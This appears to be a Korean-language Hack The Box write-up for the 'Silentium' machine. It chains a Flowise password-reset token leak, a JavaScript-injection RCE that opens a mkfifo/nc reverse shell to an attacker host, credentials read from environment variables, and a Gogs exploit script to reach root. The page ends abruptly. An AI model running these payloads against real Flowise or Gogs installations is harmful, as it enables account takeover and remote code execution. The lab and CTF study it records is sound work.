
Hack The Box - Silentium 머신 라이트업 | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
열린 포트: 22 (SSH), 80 (HTTP)
staging.silentium.htb는 Flowise 3.0.5를 실행 중forgot-password 엔드포인트는 API 응답에서 tempToken을 직접 유출합니다.
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
유출된 tempToken을 사용하여 비밀번호를 재설정합니다:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
로그인하여 API 키를 얻은 다음 RCE를 트리거합니다:
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Docker 컨테이너 내부에서 root로 셸을 획득했습니다.
환경 변수 확인:
env
자격 증명 발견:
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3r호스트로 SSH 접속:
ssh ben@<IP>
Gogs가 내부적으로 포트 3001에서 root로 실행 중입니다.
SSH 터널 설정:
ssh -L 8080:127.0.0.1:3001 ben@<IP>
http://127.0.0.1:8080을 통해 Gogs에 계정을 등록하고 API 토큰을 생성했습니다.
TYehan의 익스플로잇을 사용:
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
root 셸 획득! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts에 추가됨: